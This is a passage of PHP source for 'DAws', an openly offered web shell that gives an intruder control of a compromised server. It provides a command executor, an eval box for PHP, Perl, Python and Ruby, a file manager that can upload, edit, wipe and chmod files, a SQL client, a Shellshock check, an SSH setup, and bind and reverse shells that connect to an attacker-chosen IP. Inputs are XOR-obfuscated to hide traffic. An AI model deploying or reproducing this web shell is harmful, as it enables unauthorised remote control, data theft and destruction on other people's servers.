1564 $port = unxor_this($_POST["bind_port"]);
1565
1566 $shell = unxor_this($shell, "dotcppfile");
1567 $shell = str_replace("port=4444", "port=$port", $shell);
1568
1569 if (isset($_POST["background"])) {
1570 execute_script($shell, $location, $extension);
1571 } else {
1572 execute_script($shell, $location, $extension, True);
1573 }
1574}
1575
1576if (isset($_POST["dir"])) { //gets the proper value of 'dir'
1577 $dir = unxor_this($_POST["dir"]);
1578 $size = strlen($dir);
1579
1580 if ($_SESSION["windows"] == True) {
1581 $dir = str_replace('\\', '/', $dir); //that's better for Windows
1582 }
1583
1584 while ($dir[$size - 1] == '/') {
1585 $dir = substr($dir, 0, $size - 1);
1586 $size = strlen($dir);
1587 }
1588} else {
1589 $dir = getcwd();
1590}
1591
1592//html, css and js code
1593echo "
1594<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN'
1595'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'>
1596<html xmlns='http://www.w3.org/1999/xhtml' xml:lang='en' lang='en'>
1597<head>
1598<meta http-equiv='content-type' content='text/html; charset=utf-8'/>
1599<title>DAws</title>
1600<style type=\"text/css\">
1601 * {
1602 font-size: 12px;
1603 }
1604 html {
1605 overflow-y: scroll;
1606 }
1607 body {
1608 font-family: Verdana, Geneva, sans-serif;
1609 line-height: 1.4;
1610 background: #242625;
1611 color: #F9F7ED;
1612 margin: 0;
1613 padding: 0;
1614 }
1615 textarea {
1616 width: 80%;
1617 height: 150px;
1618 }
1619 a {
1620 color: #B3E1EF;
1621 text-decoration: none;
1622 }
1623 h1 a {
1624 font-weight: 100;
1625 font-size: 28px;
1626 color: #B3E1EF;
1627 }
1628 h3 {
1629 margin-top: 3%;
1630 margin-bottom: 1%;
1631 }
1632 h3 a {
1633 font-size: 18px;
1634 }
1635 caption, caption * {
1636 text-decoration: none;
1637 font-size:16px;
1638 color: #B3E1EF;
1639 margin-bottom: 5px;
1640 }
1641 .flat-table {
1642 text-align: center;
1643 background: #3F3F3F;
1644 margin-top: 1%;
1645 margin-bottom: 1%;
1646 border-collapse: collapse;
1647 border: 1px solid black;
1648 width: 100%;
1649 }
1650 .flat-table th {
1651 background: #2C2F2D;
1652 height: 30px;
1653 line-height: 30px;
1654 font-weight: 600;
1655 font-size: 14px;
1656 padding-left: 10px;
1657 color: #F9F7ED;
1658 border: 1px solid black;
1659 }
1660 .flat-table td {
1661 height: 30px;
1662 border: 1px solid black;
1663 }
1664 .flat-table-2 {
1665 text-align: center;
1666 background: #3F3F3F;
1667 margin-top: 10px;
1668 margin-bottom: 10px;
1669 width: 505px;
1670 height: 335px;
1671 }
1672 .flat-table tr:hover{
1673 background: rgba(0,0,0,0.19);
1674 }
1675 .danger {
1676 color: red;
1677 }
1678 .success {
1679 color: green;
1680 }
1681 .a_button {
1682 border: none;
1683 background: none;
1684 padding: 0;
1685 color: #B3E1EF;
1686 }
1687 .a_button:hover {
1688 text-decoration: underline;
1689 cursor: pointer;
1690 }
1691 .left {
1692 position: fixed;
1693 width: 18%;
1694 height: 95%;
1695 margin: 1%;
1696 top: 0;
1697 left: 0;
1698 overflow-y: auto;
1699 }
1700 .right {
1701 position: fixed;
1702 width: 18%;
1703 height: 95%;
1704 margin: 1%;
1705 top: 0;
1706 right: 0;
1707 overflow-y: auto;
1708 }
1709 .center {
1710 width: 60%;
1711 margin-left: 20%;
1712 }
1713</style>
1714
1715<script>
1716function xor_str(to_xor) { //javascript encryption used for our live inputs.
1717 var key = \"".$_SESSION['key']."\";
1718 var the_res = \"\";
1719 for(i=0; i<to_xor.length;) {
1720 for(j=0; (j<key.length && i<to_xor.length); ++j,++i) {
1721 the_res+=String.fromCharCode(to_xor.charCodeAt(i)^key.charCodeAt(j));
1722 }
1723 }
1724 return btoa(the_res);
1725}
1726
1727function xorencr(input) { //gets our inputs as an array and uses 'xor_str` to encrypt them.
1728 var arrayLength = input.length;
1729 var field = String();
1730 for (var i = 0; i < arrayLength; i++) {
1731 field = document.getElementById(input[i]);
1732 field.value = xor_str(field.value);
1733 }
1734}
1735
1736function show_div(div_name) { //used by the 'rename' form in the file manager to show/hide the div when clicked.
1737 if (document.getElementById(div_name).style.display == \"block\") {
1738 document.getElementById(div_name).style.display = \"none\";
1739 } else {
1740 document.getElementById(div_name).style.display = \"block\";
1741 }
1742}
1743
1744</script>
1745</head>
1746
1747<body>
1748
1749<div class='left' id='left'>
1750<table class='flat-table' style='width:100%;height:100%;'>
1751 <caption>Various information</caption>
1752 <tr>
1753 <th style='width:40%;'>Info</th>
1754 <th>Value</th>
1755 </tr>
1756 <tr>
1757 <td>Version</td>
1758 <td>".php_uname()."</td>
1759 </tr>
1760 <tr>
1761 <td>Server's IP</td>";
1762 if ($_SERVER['SERVER_ADDR'] != null) {
1763 echo "<td>".$_SERVER['SERVER_ADDR']."</td>";
1764 } else { //for IIS
1765 echo "<td>".$_SERVER['HTTP_HOST']."</td>";
1766 }
1767 echo "</tr>
1768 <tr>
1769 <td>Process Owner</td>
1770 <td>".$_SESSION["process_owner"]."</td>
1771 </tr>";
1772
1773 $group_name = "";
1774 if (installed_php("posix_geteuid")) { //Linux
1775 $group_name = posix_getgrgid(posix_geteuid());
1776 $group_name = $group_name["name"];
1777 }
1778 echo "
1779 <tr>
1780 <td>Group Name</td>
1781 <td>".$group_name."</td>
1782 </tr>";
1783
1784 echo "
1785 <tr>
1786 <td>Script Owner</td>
1787 <td>".get_current_user()."</td>
1788 </tr>
1789 <tr>
1790 <td>Disk Total Space</td>
1791 <td>".floor((disk_total_space(realpath("/")))/(1073741824))." GB</td>
1792 </tr>";
1793
1794if ($_SESSION["windows"] == True) { //causing the shell to load slowly because of the command itself but it's worth it
1795 $total_amount = execute_command("wmic memorychip get capacity");
1796 $total_amount = explode("\n", $total_amount);
1797 unset($total_amount[0]);
1798 $total_memory = 0;
1799 foreach ($total_amount as $amount) {
1800 $total_memory += $amount;
1801 }
1802 $total_memory /= 1073741824;
1803
1804 echo "
1805 <tr>
1806 <td>Total RAM</td>
1807 <td>$total_memory GB</td>
1808 </tr>";
1809} else {
1810 $total_memory = execute_command("free -mt | grep Mem | awk '{print \$2}'");
1811 if ($total_memory != null) {
1812 echo "
1813 <tr>
1814 <td>Total RAM</td>
1815 <td>".($total_memory/1024)." GB</td>
1816 </tr>";
1817 }
1818}
1819
1820echo "
1821 <tr>
1822 <td>Your IP</td>
1823 <td>".$_SERVER['REMOTE_ADDR']."</td>
1824 </tr>
1825 <tr>
1826 <td>Encryption Key</td>
1827 <td>".$_SESSION["key"]."</td>
1828 </tr>
1829 <tr>
1830 <td>DAws's Directory</td>
1831 <td>".$_SESSION["daws_directory"]."</td>
1832 </tr>
1833 <tr>
1834 <td>CGI</td>
1835 <td>";
1836 if ($_SESSION["cgi"]) {
1837 echo "True</td>";
1838 } else {
1839 echo "False</td>";
1840 }
1841echo "
1842 </tr>
1843 <tr>
1844 <td>CGI Shell</td>
1845 <td>".$_SESSION["cgi_url"]."</td>
1846 </tr>
1847 <tr>
1848 <td>Shellshock threw DAws</td>
1849 <td>";
1850 if ($_SESSION["shsh"]) {
1851 echo "True</td>";
1852 } else {
1853 echo "False</td>";
1854 }
1855echo "
1856 </tr>
1857 <tr>
1858 <td>Shellshock</td>
1859 <td>";
1860 if (execute_command("env x='() { :;}; echo dotcppfile' bash -c \"echo dotcppfile\"") == "dotcppfile\ndotcppfile\n") {
1861 echo "True</td>";
1862 } else {
1863 echo "False</td>";
1864 }
1865echo "
1866 </tr>
1867 <tr>
1868 <td>SSH Method</td>
1869 <td>";
1870
1871 if ((isset($_SESSION["ssh"])) && ($_SESSION["ssh"] == True)) {
1872 echo "True</td>";
1873 } else {
1874 echo "False</td>";
1875 }
1876echo "
1877 </tr>
1878</table>
1879</div>
1880
1881<div class='right'>
1882<table class='flat-table' style='table-layout: fixed;'>
1883 <caption>
1884 <form style='display:inline;' action='#File Manager' method='post'>
1885 <input type='hidden' name='dir' value='".xor_this($_SESSION["daws_directory"])."' />
1886 <input type='submit' value=\"DAws's directory\" class='a_button'/>
1887 </form>
1888 </caption>
1889 <tr>
1890 <th style='width: 20%;'>Type</th>
1891 <th>Name</th>
1892 </tr>";
1893
1894
1895if ($handle = opendir($_SESSION["daws_directory"])) {
1896 $rows = array();
1897 $pos = strrpos($_SESSION["daws_directory"], "/");
1898 $topdir = substr($_SESSION["daws_directory"], 0, $pos + 1);
1899 $i = 0;
1900 while (false !== ($file = readdir($handle))) {
1901 if ($file != "." && $file != "..") {
1902 $rows[$i]['data'] = $file;
1903 $rows[$i]['dir'] = is_dir($_SESSION["daws_directory"] . "/" . $file);
1904 $i++;
1905 }
1906 }
1907 closedir($handle);
1908
1909 $size = count($rows);
1910
1911 if ($size != 0) {
1912 $rows = sortRows($rows);
1913
1914 for ($i = 0; $i < $size; ++$i) {
1915 $curr_dir = $_SESSION["daws_directory"] . "/" . $rows[$i]['data'];
1916 echo "<tr><td>";
1917 if ($rows[$i]['dir']) {
1918 echo "[DIR]";
1919 } else {
1920 echo "[FILE]";
1921 }
1922
1923 echo "</td>";
1924
1925 if (is_readable($curr_dir)) {
1926 echo "
1927 <td>
1928 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
1929 <input type='hidden' name='dir' value='".xor_this($curr_dir)."' />
1930 <input type='hidden' name='old_dir' value='".xor_this($_SESSION["daws_directory"])."' />
1931 <input type='submit' value='".$rows[$i]['data']."' class='a_button' />
1932 </form>
1933 </td>";
1934 } else {
1935 echo "<td>".$rows[$i]['data']."</td>";
1936 }
1937 }
1938 }
1939}
1940
1941echo "
1942</table>
1943</div>
1944
1945<div class='center' id='center'>
1946<center>
1947
1948<h1><a href=".$_SERVER['PHP_SELF'].">DAws</a> 5/12/2015</h1>
1949
1950Coded by <a href=\"https://twitter.com/dotcppfile\">dotcppfile</a> and Team Salvation
1951
1952<h3><A NAME='Commander' href='#Commander'>Commander</A></h3>
1953
1954<p class='danger'>Using full paths in your commands is suggested.</p>
1955
1956<table class='flat-table' style='table-layout:fixed; word-wrap:break-word;'>
1957 <tr>
1958 <td style='width: 20%;'>disabled php</td>
1959 <td style='word-wrap:break-word;'>".implode(",", $GLOBALS["disabled_php"])."</td>
1960 </tr>
1961 <tr>
1962 <td style='width: 20%;'>disabled suhosin</td>
1963 <td style='word-wrap:break-word;'>".implode(",", $GLOBALS["disabled_suhosin"])."</td>
1964 </tr>
1965 <form style='display:inline;' action='#Commander' method='post' onsubmit=\"xorencr(['command'])\">
1966 <tr>
1967 <td style='height:50px;' colspan='2'>Command:
1968 <input type='text' size='40%' name='command' id='command'/>
1969 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
1970 <input type='submit' value='Execute'/>
1971 </td>
1972 </tr>";
1973
1974if (isset($GLOBALS["command"])) {
1975 echo "
1976 <tr>
1977 <td style='text-align:left; padding:1%;' colspan='2'>".$GLOBALS["command"]."</td>
1978 </tr>";
1979}
1980
1981echo "
1982 </form>
1983</table>
1984
1985
1986<h3><A NAME='File Manager' href='#File Manager'>File Manager</A></h3>
1987
1988<p class='danger'>Uploading and Zipping functions ouputs in DAws's directory.</p>";
1989
1990if (file_exists($dir) && (is_readable($dir))) {
1991 if (is_dir($dir)) {
1992 echo "
1993 <table class='flat-table' style='height: 100px;'>
1994 <tr>
1995 <td>Shell's Directory:
1996 <form style='display:inline;' action='#File Manager' method='post'>
1997 <input type='hidden' name='dir' value='".xor_this(getcwd())."' />
1998 <input type='submit' value='".getcwd()."' class='a_button' />
1999 </form>
2000 </td>
2001 </tr>
2002 <tr>
2003 <td>Current Directory: $dir</td>
2004 </tr>
2005 <tr>
2006 <td>Change Directory/Read File:
2007 <form action='#File Manager' method='post' onsubmit=\"xorencr(['dir'])\" style='display:inline'>
2008 <input style='width:250px' name='dir' id='dir' type='text' value='$dir'/>
2009 <input name='old_dir' id='old_dir' type='hidden' value='".xor_this($dir)."'/>
2010 <input type='submit' value='Change' name='Change'/>
2011 </form>
2012 </td>
2013 </tr>
2014 </table>";
2015
2016 if ($handle = opendir($dir)) {
2017 $rows = array();
2018 $pos = strrpos($dir, "/");
2019 $topdir = substr($dir, 0, $pos + 1);
2020 $i = 0;
2021 while (false !== ($file = readdir($handle))) {
2022 if ($file != "." && $file != "..") {
2023 $rows[$i]['data'] = $file;
2024 $rows[$i]['dir'] = is_dir($dir . "/" . $file);
2025 $i++;
2026 }
2027 }
2028 closedir($handle);
2029
2030 $size = count($rows);
2031
2032 echo "
2033 <table class='flat-table'>
2034 <tr>
2035 <th>Type</th>
2036 <th>Name</th>
2037 <th>Size (bytes)</th>
2038 <th>File Owner</th>
2039 <th>File Group</th>
2040 <th>Permissions</th>
2041 <th>Actions</th>
2042 </tr>
2043
2044 <tr>
2045 <td>[UP]</td>
2046 <td>
2047 <form style='display:inline;' action='#File Manager' method='post'>
2048 <input type='hidden' name='dir' value='".xor_this($topdir)."' />
2049 <input type='hidden' name='old_dir' value='".xor_this($dir)."'/>
2050 <input type='submit' value='..' class='a_button' />
2051 </form>
2052 </td>
2053 <td></td>
2054 <td></td>
2055 <td></td>
2056 <td></td>
2057 <td></td>
2058 </tr>";
2059
2060 if ($size != 0) {
2061 $rows = sortRows($rows);
2062
2063 for ($i = 0; $i < $size; ++$i) {
2064 $curr_dir = $dir . "/" . $rows[$i]['data'];
2065 echo "<tr><td>";
2066 if ($rows[$i]['dir']) {
2067 echo "[DIR]";
2068 } else if (is_link($curr_dir) == False) {
2069 echo "[FILE]";
2070 } else {
2071 echo "[LINK]";
2072 }
2073 echo "</td>";
2074
2075 if (is_readable($curr_dir)) {
2076 if (is_link($curr_dir)) {
2077 $rows[$i]['data'] .= " -> ".readlink($curr_dir);
2078 }
2079
2080 echo "
2081 <td>
2082 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2083 <input type='hidden' name='dir' value='".xor_this($curr_dir)."' />
2084 <input type='hidden' name='old_dir' value='".xor_this($dir)."' />
2085 <input type='submit' value='".$rows[$i]['data']."' class='a_button' />
2086 </form>
2087 </td>";
2088 } else {
2089 echo "<td>".$rows[$i]['data']."</td>";
2090 }
2091
2092 if (is_executable($dir)) {
2093 echo "<td>".@filesize($curr_dir)."</td>";
2094 } else {
2095 echo "<td></td>";
2096 }
2097
2098 $fileowner = "";
2099 $filegroup = "";
2100 if ((is_executable($dir)) && (installed_php("fileowner")) && (installed_php("filegroup"))) {
2101 $fileowner = @fileowner($curr_dir);
2102 $filegroup = @filegroup($curr_dir);
2103
2104 if (installed_php("posix_getpwuid")) {
2105 $fileowner = @posix_getpwuid($fileowner);
2106 $fileowner = $fileowner["name"]; //don't blame me for this, blame old versions of php...
2107 $filegroup = @posix_getgrgid($filegroup);
2108 $filegroup = $filegroup["name"];
2109 }
2110 }
2111 echo "<td>$fileowner</td>";
2112 echo "<td>$filegroup</td>";
2113
2114 if (is_executable($dir)) {
2115 echo "<td>".@get_permissions($curr_dir)."</td>";
2116 } else {
2117 echo "<td></td>";
2118 }
2119
2120 echo "<td>";
2121 if (is_dir($curr_dir)) { //for directories only
2122 if (is_readable($curr_dir)) {
2123 echo "
2124 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2125 <input type='hidden' name='zip' value='".xor_this($curr_dir)."'/>
2126 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2127 <input type='submit' class='a_button' value='Zip'/>
2128 </form>";
2129 }
2130 } else { //for files only
2131 if (is_readable($curr_dir)) {
2132 echo "
2133 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2134 <input type='hidden' name='download' value='".xor_this($curr_dir)."'/>
2135 <input type='submit' class='a_button' value='Download'/>
2136 </form>";
2137 }
2138
2139 if ((is_readable($curr_dir)) && (is_writable($curr_dir))) {
2140 echo "
2141 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2142 <input type='hidden' name='dir' value='".xor_this($curr_dir)."' />
2143 <input type='hidden' name='old_dir' value='".xor_this($dir)."' />
2144 <input type='submit' class='a_button' value='Edit'/>
2145 </form>";
2146
2147 echo "
2148 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2149 <input type='hidden' name='wipe' value='".xor_this($curr_dir)."'/>
2150 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2151 <input type='submit' class='a_button' value='Wipe'/>
2152 </form>";
2153 }
2154 }
2155
2156 if ((is_readable($dir)) && (is_writable($dir)) && (is_executable($dir))) {
2157 echo "
2158 <input type='button' class='a_button' value='Rename' onclick=\"show_div('rename-".xor_this($curr_dir)."')\"/>
2159
2160 <div id='rename-".xor_this($curr_dir)."' style='display:none;'>
2161 <form action='#File Manager' method='post' onsubmit=\"xorencr(['new_name-".xor_this($curr_dir)."'])\">
2162 <input style='width:150px' name='new_name' id='new_name-".xor_this($curr_dir)."' type='text' value=''/>
2163 <input type='hidden' name='old_name' value='".xor_this($curr_dir)."'/>
2164 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2165 <input type='submit' value='Rename'/>
2166 </form>
2167 </div>";
2168
2169
2170 echo "
2171 <form style='font-color=;display:inline;' action='#File Manager' method='post'>
2172 <input type='hidden' name='del' value='".xor_this($curr_dir)."'/>
2173 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2174 <input type='submit' class='a_button' value='Del'/>
2175 </form>";
2176 }
2177
2178 if ($_SESSION["process_owner"] == $fileowner) { //can we chmod?
2179 echo "
2180 <input type='button' class='a_button' value='Chmod' onclick=\"show_div('chmod-".xor_this($curr_dir)."')\"/>
2181
2182 <div id='chmod-".xor_this($curr_dir)."' style='display:none;'>
2183 <form action='#File Manager' method='post' onsubmit=\"xorencr(['new_chmod-".xor_this($curr_dir)."'])\">
2184 <input style='width:150px' name='new_chmod' id='new_chmod-".xor_this($curr_dir)."' type='text' value='' placeholder='Example: 666'/>
2185 <input type='hidden' name='file_name' value='".xor_this($curr_dir)."' />
2186 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2187 <input type='submit' value='Chmod'/>
2188 </form>
2189 </div>";
2190 }
2191
2192 echo "</td></tr>";
2193 }
2194 }
2195
2196 echo "
2197 </table>
2198 <table class='flat-table' style='height: 100px;'>
2199 <tr>
2200 <form action='#File Manager' method='post' enctype='multipart/form-data'>
2201 <td>Upload File(s) (Browse):</td>
2202 <td><input type='file' value='Browse' name='file_upload[]' multiple/></td>
2203 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2204 <td><input type='submit' value='Upload'/></td>
2205 </form>
2206 </tr>
2207 <tr>
2208 <form action='#File Manager' method='post' onsubmit=\"xorencr(['link_download'])\">
2209 <td>Upload File (Link):</td>
2210 <td><input placeholder='Direct Links required!' style='width:80%' id='link_download' name='link_download' type='text'/></td>
2211 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2212 <td><input type='submit' value='Upload'/></td>
2213 </form>
2214 </tr>";
2215
2216 if (is_writable($dir)) {
2217 echo "
2218 <tr>
2219 <form action='#File Manager' method='post' onsubmit=\"xorencr(['mkfile'])\">
2220 <td>Create File:</td>
2221 <td><input style='width:80%' id='mkfile' name='mkfile' type='text'/></td>
2222 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2223 <td><input type='submit' value='Create'/></td>
2224 </form>
2225 </tr>
2226 <tr>
2227 <form action='#File Manager' method='post' onsubmit=\"xorencr(['mkdir'])\">
2228 <td>Create Folder:</td>
2229 <td><input style='width:80%' id='mkdir' name='mkdir' type='text'/></td>
2230 <input type='hidden' name='dir' value='".xor_this($dir)."'/>
2231 <td><input type='submit' value='Create'/></td>
2232 </form>
2233 </tr>";
2234 }
2235
2236 echo "</table>";
2237 }
2238 } else {
2239 $content = read_file($dir);
2240
2241 echo "
2242 <br/>
2243 <form action='#File Manager' method='post'>
2244 <input type='hidden' name='dir' value='".$_POST["old_dir"]."' />
2245 <input type='submit' value='Go Back' class='a_button' />
2246 </form>";
2247
2248 if (is_writable($dir)) {
2249 echo "
2250 <table class='flat-table' style='table-layout: fixed;'>
2251 <tr>
2252 <form action='#File Manager' method='post' onsubmit=\"xorencr(['edit'])\">
2253 <td style='padding:1%;'>
2254 <textarea id='edit' name='edit'>$content</textarea><br/>
2255 <input type='hidden' name='location' value='".xor_this($dir)."'/>
2256 <input type='hidden' name='old_dir' value='".$_POST["old_dir"]."' />
2257 <input type='submit' value='Edit'/>
2258 </td>
2259 </form>
2260 </tr>
2261 </table>";
2262 } else {
2263 echo "
2264 <table class='flat-table' style='table-layout: fixed;'>
2265 <tr>
2266 <td><textarea name='edit'>$content</textarea></td>
2267 </tr>
2268 </table>";
2269 }
2270 }
2271} else {
2272 echo "
2273 <form action='#File Manager' method='post'>
2274 <input type='hidden' name='dir' value='".$_POST["old_dir"]."' />
2275 <input type='submit' value='Go Back' class='a_button' />
2276 </form>
2277 <p class='danger'>`$dir` is not read readable or doesn't exist!</p>";
2278}
2279
2280echo "
2281<h3><A NAME='Eval' href='#Eval'>Eval</A></h3>
2282
2283<p class='danger'>DO NOT include '<?php' at the beginning or '?>' at the end for Php.</p>
2284
2285<table class='flat-table' style='table-layout: fixed;'>
2286 <tr>
2287 <form action='#Eval 'method='post' onsubmit=\"xorencr(['eval_code'])\">
2288 <td style='padding:1%;'>
2289 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2290 <textarea name='eval_code' id='eval_code'></textarea><br/>
2291 <input type='submit' value='Execute'/>
2292 <select name='eval_lang'>
2293 <option value='".xor_this("Php")."'>Php</option>";
2294if ($_SESSION["perl"] != null) {
2295 echo "<option value='".xor_this("Perl")."'>Perl</option>";
2296}
2297if ($_SESSION["python"] != null) {
2298 echo "<option value='".xor_this("Python")."'>Python</option>";
2299}
2300if ($_SESSION["ruby"] != null) {
2301 echo "<option value='".xor_this("Ruby")."'>Ruby</option>";
2302}
2303echo "
2304 </select>
2305 <input name='output_needed' type='checkbox'/>Show Output
2306 </td>
2307 </form>
2308 </tr>";
2309
2310if (isset($_POST["eval_code"])) {
2311 $eval_code = unxor_this($_POST["eval_code"]);
2312 $eval_lang = unxor_this($_POST["eval_lang"]);
2313
2314 if (isset($_POST["output_needed"])) {
2315 $output_needed = True;
2316 } else {
2317 $output_needed = False;
2318 }
2319
2320 echo "<tr><td>";
2321 if ($eval_lang == "Php") {
2322 execute_php($eval_code, $output_needed);
2323 } else if ($eval_lang == "Perl") {
2324 echo execute_script($eval_code, $_SESSION["perl"], "pl", $output_needed);
2325 } else if ($eval_lang == "Python") {
2326 echo execute_script($eval_code, $_SESSION["python"], "py", $output_needed);
2327 } else if ($eval_lang == "Ruby") {
2328 echo execute_script($eval_code, $_SESSION["ruby"], "rb", $output_needed);
2329 }
2330 echo "</td></tr>";
2331}
2332
2333echo "
2334</table>
2335
2336<h3><A NAME='Sql Connect' href='#Sql Connect'>Sql Connect</A></h3>
2337
2338<table class='flat-table' style='table-layout: fixed;'>
2339
2340 <form action='#Sql Connect 'method='post' onsubmit=\"xorencr(['sql_host', 'sql_user', 'sql_pass', 'sql_database'])\">
2341 <tr>
2342 <td style='padding:1%;'>
2343 Connection:
2344 <input placeholder='Sql Host' type='text' name='sql_host' id='sql_host' style='width:15%;'/>
2345 <input placeholder='Sql User' type='text' name='sql_user' id='sql_user' style='width:15%;'/>
2346 <input placeholder='Sql Password' type='text' name='sql_pass' id='sql_pass' style='width:15%;'/>
2347 <input placeholder='Sql Database' type='text' name='sql_database' id='sql_database' style='width:15%;'/>
2348 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2349 <input type='submit' value='Connect'/>
2350 </td>
2351 </tr>
2352 </form>";
2353
2354if ((isset($_SESSION["mysqli"])) && ($_SESSION["mysqli"] == True)) {
2355 echo "
2356 <form action='#Sql Connect' method='post' onsubmit=\"xorencr(['sql_execute'])\">
2357 <tr>
2358 <td style='padding:1%;'>
2359 Query: <input type='text' style='width:40%;' name='sql_execute' id='sql_execute'/>
2360 <input type='hidden' name='dir' value='".xor_this($dir)."' />
2361 <input type='submit' value='Execute'/>
2362 <input type='checkbox' name='save_output' value='Save Output'/>Save Output
2363 </td>
2364 </tr>
2365 </form>";
2366}
2367
2368if (isset($GLOBALS["sql_output"])) {
2369 echo "
2370 <tr>
2371 <td style='padding:1%;'><textarea>".$GLOBALS["sql_output"]."</textarea></td>
2372 </tr>";
2373}
2374
2375echo "
2376</table>
2377
2378<h3><A NAME='Bind Shells' href='#Bind Shells'>Bind Shells</A></h3>
2379
2380<table class='flat-table' style='table-layout: fixed;'>
2381<form method='post' action='#Bind Shells' onsubmit=\"xorencr(['bind_port'])\">
2382 <tr>
2383 <td style='padding: 1%'>
2384 Info:
2385 <input name='bind_port' id='bind_port' placeholder='Port' type='text'/>
2386 <select name='bs_lang'>";
2387if ($_SESSION["perl"] != null) {
2388 echo "<option value='".xor_this("Perl")."'>Perl</option>";
2389}
2390if ($_SESSION["python"] != null) {
2391 echo "<option value='".xor_this("Python")."'>Python</option>";
2392}
2393if ($_SESSION["ruby"] != null) {
2394 echo "<option value='".xor_this("Ruby")."'>Ruby</option>";
2395}
2396if (($_SESSION["windows"] == False) && (execute_command("nc", True))) {
2397 echo "<option value='".xor_this("Netcat")."'>Netcat</option>";
2398}
2399echo "
2400 </select>
2401 <input type='submit' value='Bind'/>
2402 <input type='checkbox' name='background'/>Run in background
2403 </td>
2404 </tr>
2405</form>
2406</table>
2407
2408<h3><A NAME='Reverse Shells' href='#Reverse Shells'>Reverse Shells</A></h3>
2409
2410<table class='flat-table' style='table-layout: fixed;'>
2411<form method='post' action='#Bind Shells' onsubmit=\"xorencr(['reverse_ip', 'reverse_port'])\">
2412 <tr>
2413 <td style='padding: 1%'>
2414 Info:
2415 <input name='reverse_ip' id='reverse_ip' placeholder='IP Address' type='text'/>
2416 <input name='reverse_port' id='reverse_port' placeholder='Port' type='text'/>
2417 <select name='rs_lang'>";
2418if ($_SESSION["perl"] != null) {
2419 echo "<option value='".xor_this("Perl")."'>Perl</option>";
2420}
2421if ($_SESSION["python"] != null) {
2422 echo "<option value='".xor_this("Python")."'>Python</option>";
2423}
2424if ($_SESSION["ruby"] != null) {
2425 echo "<option value='".xor_this("Ruby")."'>Ruby</option>";
2426}
2427if ($_SESSION["windows"] == False) {
2428 echo "<option value='".xor_this("Bash")."'>Bash</option>";
2429}
2430echo "
2431 </select>
2432 <input type='submit' value='Bind'/>
2433 <input type='checkbox' name='background'/>Run in background
2434 </td>
2435 </tr>
2436</form>
2437</table>";
2438
2439if ($_SESSION["windows"] == False) { //linux only for now
2440 echo "
2441 <h3><A NAME='Setup SSH' href='#Setup SSH'>Setup SSH</A></h3>
2442
2443 <p class='danger'>Make sure you upload all the files in 'https://github.com/dotcppfile/DAws/tree/master/phpseclib%20-%20DAws', using the File Manager, first.</p>
2444
2445 <table class='flat-table' style='table-layout: fixed;'>
2446 <form method='post' action='#Setup SSH' onsubmit=\"xorencr(['ssh_user', 'ssh_port', 'home_dir'])\">
2447 <tr>
2448 <td style='padding: 1%'>
2449 Info:
2450 <input name='ssh_user' id='ssh_user' placeholder='SSH Username' type='text'/>
2451 <input name='ssh_port' id='ssh_port' placeholder='SSH Port' type='text'/>
2452 <input name='home_dir' id='home_dir' placeholder='Home Directory' type='text'/>
2453 <input type='submit' value='Go'/>
2454 </td>
2455 </tr>
2456 </form>
2457 </table>";
2458}
2459
2460echo "
2461</center>
2462</div>
2463
2464</body>
2465</html>";
2466?>